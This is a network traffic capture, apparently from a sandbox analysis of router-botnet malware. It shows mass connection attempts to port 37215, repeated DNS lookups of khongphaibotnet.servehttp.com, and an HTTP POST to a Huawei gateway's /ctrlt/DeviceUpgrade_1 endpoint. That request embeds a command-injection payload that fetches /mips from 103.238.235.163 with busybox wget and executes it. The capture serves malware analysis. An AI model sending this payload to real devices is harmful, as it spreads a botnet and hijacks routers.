Aug 1, 2024 15:35:04.623049021 CEST	56692	37215	192.168.2.14	41.234.174.35
Aug 1, 2024 15:35:04.623049021 CEST	54826	37215	192.168.2.14	197.37.212.181
Aug 1, 2024 15:35:04.623048067 CEST	36804	37215	192.168.2.14	69.172.16.4
Aug 1, 2024 15:35:04.623048067 CEST	41704	37215	192.168.2.14	146.228.195.65
Aug 1, 2024 15:35:04.623048067 CEST	33272	37215	192.168.2.14	157.136.251.140
Aug 1, 2024 15:35:04.623048067 CEST	44340	37215	192.168.2.14	197.47.216.54
Aug 1, 2024 15:35:04.623068094 CEST	34136	37215	192.168.2.14	218.111.52.52
Aug 1, 2024 15:35:04.623081923 CEST	60458	37215	192.168.2.14	156.49.30.8
Aug 1, 2024 15:35:04.623095036 CEST	42624	37215	192.168.2.14	197.13.43.240
Aug 1, 2024 15:35:04.623095989 CEST	57722	37215	192.168.2.14	52.147.50.110
Aug 1, 2024 15:35:04.623096943 CEST	56982	37215	192.168.2.14	197.226.64.65
Aug 1, 2024 15:35:04.623114109 CEST	55922	37215	192.168.2.14	41.5.246.163
Aug 1, 2024 15:35:04.623120070 CEST	40300	37215	192.168.2.14	119.229.85.175
Aug 1, 2024 15:35:04.623126030 CEST	45820	37215	192.168.2.14	197.61.79.229
Aug 1, 2024 15:35:04.623136997 CEST	54060	37215	192.168.2.14	36.149.65.88
Aug 1, 2024 15:35:04.623147011 CEST	39178	37215	192.168.2.14	41.3.241.204
Aug 1, 2024 15:35:04.623155117 CEST	58668	37215	192.168.2.14	165.23.40.149
Aug 1, 2024 15:35:04.623172998 CEST	39572	37215	192.168.2.14	157.128.189.238
Aug 1, 2024 15:35:04.623172998 CEST	45926	37215	192.168.2.14	157.195.222.173
Aug 1, 2024 15:35:04.623179913 CEST	47762	37215	192.168.2.14	157.7.210.65
Aug 1, 2024 15:35:04.623188972 CEST	44772	37215	192.168.2.14	191.96.26.120
Aug 1, 2024 15:35:04.623198986 CEST	49232	37215	192.168.2.14	197.210.14.218
Aug 1, 2024 15:35:04.623219013 CEST	51138	37215	192.168.2.14	197.230.24.247
Aug 1, 2024 15:35:04.623220921 CEST	39904	37215	192.168.2.14	157.253.214.61
Aug 1, 2024 15:35:04.623228073 CEST	42624	37215	192.168.2.14	34.244.242.21
Aug 1, 2024 15:35:04.623239994 CEST	36318	37215	192.168.2.14	157.109.153.252
Aug 1, 2024 15:35:04.623239994 CEST	42526	37215	192.168.2.14	41.4.204.193
Aug 1, 2024 15:35:04.623248100 CEST	56720	37215	192.168.2.14	51.85.105.37
Aug 1, 2024 15:35:04.623250961 CEST	48768	37215	192.168.2.14	139.128.83.1
Aug 1, 2024 15:35:04.623256922 CEST	41826	37215	192.168.2.14	197.8.151.149
Aug 1, 2024 15:35:04.623264074 CEST	44918	37215	192.168.2.14	157.114.117.209
Aug 1, 2024 15:35:04.623272896 CEST	55422	37215	192.168.2.14	157.40.235.145
Aug 1, 2024 15:35:04.623282909 CEST	60784	37215	192.168.2.14	157.230.179.159
Aug 1, 2024 15:35:04.623294115 CEST	58310	37215	192.168.2.14	41.111.212.189
Aug 1, 2024 15:35:04.623297930 CEST	37215	54034	41.101.92.246	192.168.2.14
Aug 1, 2024 15:35:04.623301029 CEST	39410	37215	192.168.2.14	204.57.58.168
Aug 1, 2024 15:35:04.623312950 CEST	37215	33894	41.250.24.66	192.168.2.14
Aug 1, 2024 15:35:04.623313904 CEST	33444	37215	192.168.2.14	157.222.131.178
Aug 1, 2024 15:35:04.623315096 CEST	35982	37215	192.168.2.14	157.128.140.159
Aug 1, 2024 15:35:04.623325109 CEST	48224	37215	192.168.2.14	157.67.35.151
Aug 1, 2024 15:35:04.623334885 CEST	49962	37215	192.168.2.14	41.131.136.46
Aug 1, 2024 15:35:04.623347998 CEST	59664	37215	192.168.2.14	157.70.94.107
Aug 1, 2024 15:35:04.623352051 CEST	36232	37215	192.168.2.14	116.129.63.253
Aug 1, 2024 15:35:04.623359919 CEST	33894	37215	192.168.2.14	41.250.24.66
Aug 1, 2024 15:35:04.623359919 CEST	48482	37215	192.168.2.14	197.93.204.236
Aug 1, 2024 15:35:04.623359919 CEST	37888	37215	192.168.2.14	157.150.127.225
Aug 1, 2024 15:35:04.623380899 CEST	42558	37215	192.168.2.14	41.93.56.29
Aug 1, 2024 15:35:04.623383045 CEST	38146	37215	192.168.2.14	197.140.6.131
Aug 1, 2024 15:35:04.623383045 CEST	48380	37215	192.168.2.14	197.93.155.59
Aug 1, 2024 15:35:04.623397112 CEST	58820	37215	192.168.2.14	144.187.203.7
Aug 1, 2024 15:35:04.623415947 CEST	48972	37215	192.168.2.14	41.68.194.129
Aug 1, 2024 15:35:04.623415947 CEST	48844	37215	192.168.2.14	157.94.120.217
Aug 1, 2024 15:35:04.623420954 CEST	46202	37215	192.168.2.14	206.18.105.211
Aug 1, 2024 15:35:04.623439074 CEST	59022	37215	192.168.2.14	41.248.171.162
Aug 1, 2024 15:35:04.623455048 CEST	38956	37215	192.168.2.14	41.235.57.84
Aug 1, 2024 15:35:04.623456955 CEST	58088	37215	192.168.2.14	197.209.209.54
Aug 1, 2024 15:35:04.623469114 CEST	32842	37215	192.168.2.14	41.161.31.8
Aug 1, 2024 15:35:04.623472929 CEST	47026	37215	192.168.2.14	41.239.216.191
Aug 1, 2024 15:35:04.623472929 CEST	53264	37215	192.168.2.14	157.88.221.246
Aug 1, 2024 15:35:04.623493910 CEST	41148	37215	192.168.2.14	197.26.150.12
Aug 1, 2024 15:35:04.623493910 CEST	52840	37215	192.168.2.14	41.199.95.211
Aug 1, 2024 15:35:04.623500109 CEST	34922	37215	192.168.2.14	157.84.78.232
Aug 1, 2024 15:35:04.623511076 CEST	41974	37215	192.168.2.14	197.115.151.122
Aug 1, 2024 15:35:04.623512983 CEST	37215	37688	157.152.197.2	192.168.2.14
Aug 1, 2024 15:35:04.623514891 CEST	55436	37215	192.168.2.14	80.201.129.19
Aug 1, 2024 15:35:04.623531103 CEST	41588	37215	192.168.2.14	197.212.5.92
Aug 1, 2024 15:35:04.623531103 CEST	44304	37215	192.168.2.14	197.235.124.244
Aug 1, 2024 15:35:04.623545885 CEST	44796	37215	192.168.2.14	197.17.30.222
Aug 1, 2024 15:35:04.623553991 CEST	40340	37215	192.168.2.14	41.183.24.109
Aug 1, 2024 15:35:04.623562098 CEST	43310	37215	192.168.2.14	41.28.35.40
Aug 1, 2024 15:35:04.623568058 CEST	53834	37215	192.168.2.14	41.163.193.213
Aug 1, 2024 15:35:04.623580933 CEST	55818	37215	192.168.2.14	90.107.228.59
Aug 1, 2024 15:35:04.623588085 CEST	33022	37215	192.168.2.14	41.82.131.194
Aug 1, 2024 15:35:04.623588085 CEST	34346	37215	192.168.2.14	74.96.4.80
Aug 1, 2024 15:35:04.623604059 CEST	44368	37215	192.168.2.14	41.206.119.232
Aug 1, 2024 15:35:04.623604059 CEST	37068	37215	192.168.2.14	41.225.195.225
Aug 1, 2024 15:35:04.623615980 CEST	46406	37215	192.168.2.14	157.86.182.203
Aug 1, 2024 15:35:04.623615980 CEST	51420	37215	192.168.2.14	18.186.212.139
Aug 1, 2024 15:35:04.623641968 CEST	43412	37215	192.168.2.14	157.151.50.133
Aug 1, 2024 15:35:04.623645067 CEST	48754	37215	192.168.2.14	41.97.62.249
Aug 1, 2024 15:35:04.623646021 CEST	49452	37215	192.168.2.14	157.100.93.96
Aug 1, 2024 15:35:04.623656988 CEST	50334	37215	192.168.2.14	41.214.220.24
Aug 1, 2024 15:35:04.623661041 CEST	53304	37215	192.168.2.14	197.175.155.221
Aug 1, 2024 15:35:04.623672962 CEST	58288	37215	192.168.2.14	41.248.35.8
Aug 1, 2024 15:35:04.623676062 CEST	42486	37215	192.168.2.14	157.189.171.10
Aug 1, 2024 15:35:04.623686075 CEST	40246	37215	192.168.2.14	96.16.7.143
Aug 1, 2024 15:35:04.623692989 CEST	44118	37215	192.168.2.14	197.139.54.254
Aug 1, 2024 15:35:04.623707056 CEST	45684	37215	192.168.2.14	43.172.165.213
Aug 1, 2024 15:35:04.623713970 CEST	56624	37215	192.168.2.14	197.19.124.102
Aug 1, 2024 15:35:04.623716116 CEST	55918	37215	192.168.2.14	157.125.227.224
Aug 1, 2024 15:35:04.623728991 CEST	47886	37215	192.168.2.14	65.76.92.144
Aug 1, 2024 15:35:04.623739004 CEST	49802	37215	192.168.2.14	197.28.88.85
Aug 1, 2024 15:35:04.623750925 CEST	34206	37215	192.168.2.14	41.161.109.43
Aug 1, 2024 15:35:04.623752117 CEST	60406	37215	192.168.2.14	156.129.112.128
Aug 1, 2024 15:35:04.623754025 CEST	33600	37215	192.168.2.14	157.229.139.151
Aug 1, 2024 15:35:04.623761892 CEST	37778	37215	192.168.2.14	197.70.240.46
Aug 1, 2024 15:35:04.623769999 CEST	40580	37215	192.168.2.14	157.123.6.157
Aug 1, 2024 15:35:04.623780966 CEST	53364	37215	192.168.2.14	157.247.193.130
Aug 1, 2024 15:35:04.623785019 CEST	37215	33574	41.4.240.112	192.168.2.14
Aug 1, 2024 15:35:04.623795986 CEST	60192	37215	192.168.2.14	157.190.63.145
Aug 1, 2024 15:35:04.623795986 CEST	58500	37215	192.168.2.14	197.208.242.88
Aug 1, 2024 15:35:04.623801947 CEST	55876	37215	192.168.2.14	157.137.14.198
Aug 1, 2024 15:35:04.623821020 CEST	53436	37215	192.168.2.14	197.103.172.28
Aug 1, 2024 15:35:04.623821974 CEST	51518	37215	192.168.2.14	157.76.52.250
Aug 1, 2024 15:35:04.623831034 CEST	48556	37215	192.168.2.14	27.46.248.210
Aug 1, 2024 15:35:04.623842001 CEST	49530	37215	192.168.2.14	197.189.144.154
Aug 1, 2024 15:35:04.623847961 CEST	39690	37215	192.168.2.14	41.221.170.136
Aug 1, 2024 15:35:04.623867989 CEST	44030	37215	192.168.2.14	157.228.83.255
Aug 1, 2024 15:35:04.623867989 CEST	37212	37215	192.168.2.14	41.196.127.30
Aug 1, 2024 15:35:04.623878002 CEST	41846	37215	192.168.2.14	102.87.73.247
Aug 1, 2024 15:35:04.623887062 CEST	37688	37215	192.168.2.14	157.152.197.2
Aug 1, 2024 15:35:04.623900890 CEST	54034	37215	192.168.2.14	41.101.92.246
Aug 1, 2024 15:35:04.623900890 CEST	33574	37215	192.168.2.14	41.4.240.112
Aug 1, 2024 15:35:04.623907089 CEST	53012	37215	192.168.2.14	157.155.128.239
Aug 1, 2024 15:35:04.623918056 CEST	36310	37215	192.168.2.14	186.36.48.7
Aug 1, 2024 15:35:04.624208927 CEST	56262	37215	192.168.2.14	157.192.67.175
Aug 1, 2024 15:35:04.624221087 CEST	37215	53632	173.101.5.109	192.168.2.14
Aug 1, 2024 15:35:04.624254942 CEST	53632	37215	192.168.2.14	173.101.5.109
Aug 1, 2024 15:35:04.624274015 CEST	37215	53012	157.155.128.239	192.168.2.14
Aug 1, 2024 15:35:04.624306917 CEST	53012	37215	192.168.2.14	157.155.128.239
Aug 1, 2024 15:35:04.624330997 CEST	37215	40824	197.157.93.8	192.168.2.14
Aug 1, 2024 15:35:04.624371052 CEST	40824	37215	192.168.2.14	197.157.93.8
Aug 1, 2024 15:35:04.624541044 CEST	37215	36310	186.36.48.7	192.168.2.14
Aug 1, 2024 15:35:04.624573946 CEST	36310	37215	192.168.2.14	186.36.48.7
Aug 1, 2024 15:35:04.624809980 CEST	60552	37215	192.168.2.14	141.9.34.73
Aug 1, 2024 15:35:04.625422001 CEST	37215	40758	51.75.65.0	192.168.2.14
Aug 1, 2024 15:35:04.625535011 CEST	37215	56050	222.229.210.86	192.168.2.14
Aug 1, 2024 15:35:04.625544071 CEST	37215	60072	37.65.110.217	192.168.2.14
Aug 1, 2024 15:35:04.625638008 CEST	40758	37215	192.168.2.14	51.75.65.0
Aug 1, 2024 15:35:04.625715017 CEST	37215	44812	41.37.70.213	192.168.2.14
Aug 1, 2024 15:35:04.625729084 CEST	37215	36804	69.172.16.4	192.168.2.14
Aug 1, 2024 15:35:04.625828981 CEST	56196	37215	192.168.2.14	157.147.5.92
Aug 1, 2024 15:35:04.625838995 CEST	37215	41704	146.228.195.65	192.168.2.14
Aug 1, 2024 15:35:04.625861883 CEST	37215	58222	157.36.218.204	192.168.2.14
Aug 1, 2024 15:35:04.625965118 CEST	37215	39632	31.28.24.214	192.168.2.14
Aug 1, 2024 15:35:04.625994921 CEST	37215	37034	41.148.252.199	192.168.2.14
Aug 1, 2024 15:35:04.626049995 CEST	37215	54154	41.188.29.162	192.168.2.14
Aug 1, 2024 15:35:04.626070976 CEST	37215	60384	157.46.113.86	192.168.2.14
Aug 1, 2024 15:35:04.626146078 CEST	37215	33272	157.136.251.140	192.168.2.14
Aug 1, 2024 15:35:04.626172066 CEST	37215	56692	41.234.174.35	192.168.2.14
Aug 1, 2024 15:35:04.626302004 CEST	37215	54826	197.37.212.181	192.168.2.14
Aug 1, 2024 15:35:04.626312971 CEST	37215	45406	71.55.134.200	192.168.2.14
Aug 1, 2024 15:35:04.626353025 CEST	37215	34136	218.111.52.52	192.168.2.14
Aug 1, 2024 15:35:04.626378059 CEST	41732	37215	192.168.2.14	178.38.125.43
Aug 1, 2024 15:35:04.626385927 CEST	37215	44340	197.47.216.54	192.168.2.14
Aug 1, 2024 15:35:04.626503944 CEST	37215	57722	52.147.50.110	192.168.2.14
Aug 1, 2024 15:35:04.626516104 CEST	37215	60458	156.49.30.8	192.168.2.14
Aug 1, 2024 15:35:04.626602888 CEST	37215	42624	197.13.43.240	192.168.2.14
Aug 1, 2024 15:35:04.626612902 CEST	37215	55922	41.5.246.163	192.168.2.14
Aug 1, 2024 15:35:04.626667023 CEST	37215	56982	197.226.64.65	192.168.2.14
Aug 1, 2024 15:35:04.626701117 CEST	37215	40300	119.229.85.175	192.168.2.14
Aug 1, 2024 15:35:04.626748085 CEST	37215	45820	197.61.79.229	192.168.2.14
Aug 1, 2024 15:35:04.626797915 CEST	37215	54060	36.149.65.88	192.168.2.14
Aug 1, 2024 15:35:04.627013922 CEST	59688	37215	192.168.2.14	157.136.230.145
Aug 1, 2024 15:35:04.627223969 CEST	37215	39178	41.3.241.204	192.168.2.14
Aug 1, 2024 15:35:04.627233982 CEST	37215	48472	197.227.219.149	192.168.2.14
Aug 1, 2024 15:35:04.627270937 CEST	37215	58668	165.23.40.149	192.168.2.14
Aug 1, 2024 15:35:04.627332926 CEST	37215	39572	157.128.189.238	192.168.2.14
Aug 1, 2024 15:35:04.627346039 CEST	37215	45926	157.195.222.173	192.168.2.14
Aug 1, 2024 15:35:04.627449989 CEST	37215	47762	157.7.210.65	192.168.2.14
Aug 1, 2024 15:35:04.627464056 CEST	37215	44772	191.96.26.120	192.168.2.14
Aug 1, 2024 15:35:04.627541065 CEST	52746	37215	192.168.2.14	41.180.217.17
Aug 1, 2024 15:35:04.627556086 CEST	37215	49232	197.210.14.218	192.168.2.14
Aug 1, 2024 15:35:04.627571106 CEST	37215	51138	197.230.24.247	192.168.2.14
Aug 1, 2024 15:35:04.627685070 CEST	37215	36318	157.109.153.252	192.168.2.14
Aug 1, 2024 15:35:04.627696991 CEST	37215	39904	157.253.214.61	192.168.2.14
Aug 1, 2024 15:35:04.628175020 CEST	37215	42624	34.244.242.21	192.168.2.14
Aug 1, 2024 15:35:04.628187895 CEST	37215	42526	41.4.204.193	192.168.2.14
Aug 1, 2024 15:35:04.628196001 CEST	48992	37215	192.168.2.14	157.23.253.156
Aug 1, 2024 15:35:04.628262997 CEST	37215	56720	51.85.105.37	192.168.2.14
Aug 1, 2024 15:35:04.628284931 CEST	37215	48768	139.128.83.1	192.168.2.14
Aug 1, 2024 15:35:04.628355026 CEST	37215	41826	197.8.151.149	192.168.2.14
Aug 1, 2024 15:35:04.628443956 CEST	37215	44918	157.114.117.209	192.168.2.14
Aug 1, 2024 15:35:04.628509998 CEST	37215	55422	157.40.235.145	192.168.2.14
Aug 1, 2024 15:35:04.628521919 CEST	37215	60784	157.230.179.159	192.168.2.14
Aug 1, 2024 15:35:04.628673077 CEST	37215	58310	41.111.212.189	192.168.2.14
Aug 1, 2024 15:35:04.628694057 CEST	37215	39410	204.57.58.168	192.168.2.14
Aug 1, 2024 15:35:04.628779888 CEST	42474	37215	192.168.2.14	41.108.173.198
Aug 1, 2024 15:35:04.628783941 CEST	37215	33444	157.222.131.178	192.168.2.14
Aug 1, 2024 15:35:04.628809929 CEST	37215	35982	157.128.140.159	192.168.2.14
Aug 1, 2024 15:35:04.628912926 CEST	37215	48224	157.67.35.151	192.168.2.14
Aug 1, 2024 15:35:04.628932953 CEST	37215	49962	41.131.136.46	192.168.2.14
Aug 1, 2024 15:35:04.628969908 CEST	37215	59664	157.70.94.107	192.168.2.14
Aug 1, 2024 15:35:04.629017115 CEST	37215	36232	116.129.63.253	192.168.2.14
Aug 1, 2024 15:35:04.629074097 CEST	37215	48482	197.93.204.236	192.168.2.14
Aug 1, 2024 15:35:04.629157066 CEST	37215	37888	157.150.127.225	192.168.2.14
Aug 1, 2024 15:35:04.629167080 CEST	37215	38146	197.140.6.131	192.168.2.14
Aug 1, 2024 15:35:04.629178047 CEST	37215	42558	41.93.56.29	192.168.2.14
Aug 1, 2024 15:35:04.629261971 CEST	37215	48380	197.93.155.59	192.168.2.14
Aug 1, 2024 15:35:04.629383087 CEST	42634	37215	192.168.2.14	157.137.76.18
Aug 1, 2024 15:35:04.629662037 CEST	37215	58820	144.187.203.7	192.168.2.14
Aug 1, 2024 15:35:04.629878044 CEST	37215	48972	41.68.194.129	192.168.2.14
Aug 1, 2024 15:35:04.629888058 CEST	37215	48844	157.94.120.217	192.168.2.14
Aug 1, 2024 15:35:04.629952908 CEST	49480	37215	192.168.2.14	57.146.105.93
Aug 1, 2024 15:35:04.630003929 CEST	37215	46202	206.18.105.211	192.168.2.14
Aug 1, 2024 15:35:04.630017042 CEST	37215	47026	41.239.216.191	192.168.2.14
Aug 1, 2024 15:35:04.630081892 CEST	48472	37215	192.168.2.14	197.227.219.149
Aug 1, 2024 15:35:04.630108118 CEST	37215	59022	41.248.171.162	192.168.2.14
Aug 1, 2024 15:35:04.630120039 CEST	37215	58088	197.209.209.54	192.168.2.14
Aug 1, 2024 15:35:04.630172968 CEST	37215	38956	41.235.57.84	192.168.2.14
Aug 1, 2024 15:35:04.630196095 CEST	37215	33572	120.42.180.164	192.168.2.14
Aug 1, 2024 15:35:04.630235910 CEST	37215	32842	41.161.31.8	192.168.2.14
Aug 1, 2024 15:35:04.630532026 CEST	44772	37215	192.168.2.14	157.204.81.142
Aug 1, 2024 15:35:04.630624056 CEST	37215	53264	157.88.221.246	192.168.2.14
Aug 1, 2024 15:35:04.630635977 CEST	37215	52840	41.199.95.211	192.168.2.14
Aug 1, 2024 15:35:04.630769968 CEST	37215	41148	197.26.150.12	192.168.2.14
Aug 1, 2024 15:35:04.630791903 CEST	37215	34922	157.84.78.232	192.168.2.14
Aug 1, 2024 15:35:04.630903959 CEST	37215	41974	197.115.151.122	192.168.2.14
Aug 1, 2024 15:35:04.630974054 CEST	37215	55436	80.201.129.19	192.168.2.14
Aug 1, 2024 15:35:04.631038904 CEST	37215	41588	197.212.5.92	192.168.2.14

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 1, 2024 15:34:54.844175100 CEST	192.168.2.14	8.8.8.8	0x9b5c	Standard query (0)	khongphaibotnet.servehttp.com	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:01.735058069 CEST	192.168.2.14	8.8.8.8	0x409d	Standard query (0)	khongphaibotnet.servehttp.com	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:07.686480045 CEST	192.168.2.14	8.8.8.8	0xf82d	Standard query (0)	khongphaibotnet.servehttp.com	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:10.390288115 CEST	192.168.2.14	8.8.8.8	0xdd85	Standard query (0)	khongphaibotnet.servehttp.com	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:15.517488003 CEST	192.168.2.14	8.8.8.8	0x9e4d	Standard query (0)	khongphaibotnet.servehttp.com	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:26.432528019 CEST	192.168.2.14	8.8.8.8	0x9cb2	Standard query (0)	khongphaibotnet.servehttp.com	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:33.721694946 CEST	192.168.2.14	8.8.8.8	0x4547	Standard query (0)	khongphaibotnet.servehttp.com	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:35.625494957 CEST	192.168.2.14	8.8.8.8	0x3a5b	Standard query (0)	khongphaibotnet.servehttp.com	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:37.519542933 CEST	192.168.2.14	8.8.8.8	0x7d6e	Standard query (0)	khongphaibotnet.servehttp.com	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:43.423468113 CEST	192.168.2.14	8.8.8.8	0xa515	Standard query (0)	khongphaibotnet.servehttp.com	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:54.384469986 CEST	192.168.2.14	8.8.8.8	0x62b0	Standard query (0)	khongphaibotnet.servehttp.com	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:59.263597965 CEST	192.168.2.14	8.8.8.8	0xce09	Standard query (0)	khongphaibotnet.servehttp.com	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:36:00.296264887 CEST	192.168.2.14	8.8.8.8	0x5bcc	Standard query (0)	khongphaibotnet.servehttp.com	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:36:08.232505083 CEST	192.168.2.14	8.8.8.8	0xd523	Standard query (0)	khongphaibotnet.servehttp.com	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:36:10.235569000 CEST	192.168.2.14	8.8.8.8	0xe5d5	Standard query (0)	khongphaibotnet.servehttp.com	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:36:21.283776045 CEST	192.168.2.14	8.8.8.8	0xcdf1	Standard query (0)	khongphaibotnet.servehttp.com	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:36:32.201086044 CEST	192.168.2.14	8.8.8.8	0x2b91	Standard query (0)	khongphaibotnet.servehttp.com	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:36:43.184535980 CEST	192.168.2.14	8.8.8.8	0x9874	Standard query (0)	khongphaibotnet.servehttp.com	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:36:50.071161032 CEST	192.168.2.14	8.8.8.8	0xd491	Standard query (0)	khongphaibotnet.servehttp.com	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:37:00.006453991 CEST	192.168.2.14	8.8.8.8	0xdaa6	Standard query (0)	khongphaibotnet.servehttp.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Aug 1, 2024 15:34:54.851320028 CEST	8.8.8.8	192.168.2.14	0x9b5c	No error (0)	khongphaibotnet.servehttp.com	103.238.235.163	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:01.750787973 CEST	8.8.8.8	192.168.2.14	0x409d	No error (0)	khongphaibotnet.servehttp.com	103.238.235.163	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:07.697176933 CEST	8.8.8.8	192.168.2.14	0xf82d	No error (0)	khongphaibotnet.servehttp.com	103.238.235.163	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:10.426575899 CEST	8.8.8.8	192.168.2.14	0xdd85	No error (0)	khongphaibotnet.servehttp.com	103.238.235.163	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:15.524724960 CEST	8.8.8.8	192.168.2.14	0x9e4d	No error (0)	khongphaibotnet.servehttp.com	103.238.235.163	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:26.476763010 CEST	8.8.8.8	192.168.2.14	0x9cb2	No error (0)	khongphaibotnet.servehttp.com	103.238.235.163	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:33.730376959 CEST	8.8.8.8	192.168.2.14	0x4547	No error (0)	khongphaibotnet.servehttp.com	103.238.235.163	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:35.632920027 CEST	8.8.8.8	192.168.2.14	0x3a5b	No error (0)	khongphaibotnet.servehttp.com	103.238.235.163	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:37.529259920 CEST	8.8.8.8	192.168.2.14	0x7d6e	No error (0)	khongphaibotnet.servehttp.com	103.238.235.163	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:43.430422068 CEST	8.8.8.8	192.168.2.14	0xa515	No error (0)	khongphaibotnet.servehttp.com	103.238.235.163	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:54.391735077 CEST	8.8.8.8	192.168.2.14	0x62b0	No error (0)	khongphaibotnet.servehttp.com	103.238.235.163	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:35:59.270006895 CEST	8.8.8.8	192.168.2.14	0xce09	No error (0)	khongphaibotnet.servehttp.com	103.238.235.163	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:36:00.303580046 CEST	8.8.8.8	192.168.2.14	0x5bcc	No error (0)	khongphaibotnet.servehttp.com	103.238.235.163	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:36:08.243092060 CEST	8.8.8.8	192.168.2.14	0xd523	No error (0)	khongphaibotnet.servehttp.com	103.238.235.163	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:36:10.347800016 CEST	8.8.8.8	192.168.2.14	0xe5d5	No error (0)	khongphaibotnet.servehttp.com	103.238.235.163	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:36:21.304004908 CEST	8.8.8.8	192.168.2.14	0xcdf1	No error (0)	khongphaibotnet.servehttp.com	103.238.235.163	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:36:32.208340883 CEST	8.8.8.8	192.168.2.14	0x2b91	No error (0)	khongphaibotnet.servehttp.com	103.238.235.163	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:36:43.194474936 CEST	8.8.8.8	192.168.2.14	0x9874	No error (0)	khongphaibotnet.servehttp.com	103.238.235.163	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:36:50.085824013 CEST	8.8.8.8	192.168.2.14	0xd491	No error (0)	khongphaibotnet.servehttp.com	103.238.235.163	A (IP address)	IN (0x0001)	false
Aug 1, 2024 15:37:00.031902075 CEST	8.8.8.8	192.168.2.14	0xdaa6	No error (0)	khongphaibotnet.servehttp.com	103.238.235.163	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.14	44338	2.138.219.53	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606003046 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.14	51144	171.189.230.58	37215

Timestamp	Bytes transferred	Direction	Data
